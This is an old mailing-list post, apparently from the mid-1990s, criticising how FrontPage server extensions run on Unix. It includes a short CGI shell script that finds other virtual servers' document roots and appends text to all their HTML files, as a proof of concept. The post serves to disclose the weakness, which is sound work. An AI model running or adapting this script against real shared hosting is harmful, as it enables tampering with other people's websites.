> You can run FP extensions in two ways on *nixes...
> 1) setuid root: In this case, users maintain ownership of their files,
> since the extensions do a setuid() call to the user. BAD. They
> don't give the source code. How do I know what it is they are doing
> to my system?
CAVEAT: The last time I looked at the FrontPage server extensions, it
was for version 1.1.
I laughed really hard reading the installation instructions because
the author(s) said several times that running the server under uid 0
was a bad idea, but it was always the first option mentioned.
Quote:> 2) as the httpd's uid: In this case, the pages are owned by the httpd user,
> usually nobody. BAD. Anyone can modify these pages.
Yup. For example, here's an exploit which, barring problems with the
availability of the Bourne shell, works quite well to modify other
FP-enabled virtual servers' stuff:
--- snip ---
#!/bin/sh
PATH=/bin:/usr/bin
echo "Content-type: text/plain"
echo ""
CONFIGS=`grep serverconfig: /usr/local/frontpage/*.cnf | \
sed 's/.*serverconfig://' | egrep -v 'mysite|friendlysite'`
echo "My target config files are: $CONFIGS"
for CONFIG in $CONFIGS
do
DOCROOT=`grep DocumentRoot $CONFIG | awk '{print $2}'`
echo "My sucker's DOCROOT is $DOCROOT"
for FILE in `find $DOCROOT \( -name '*.html' -o -name '*.htm' \) -print | \
grep -v /_vti_cnf/`
do
echo " I think I will edit file '$FILE'"
echo "<!-- Kilroy was here! -->" 2> /dev/null >> $FILE
done
done
exit 0
--- snip ---
See also: http://www.mr.net/~fritchie/frontpage.html
See also: my caveat above. No, I haven't experimented with the FP
server extensions since way back in Oct '96.
-Scott
---
Scott Lystig Fritchie, Network Engineer MRNet Internet Services, Inc.
v: 612/362.5820, p: 612/637.9547 2829 University Ave SE
http://www.mr.net/~fritchie/ Minneapolis, MN 55414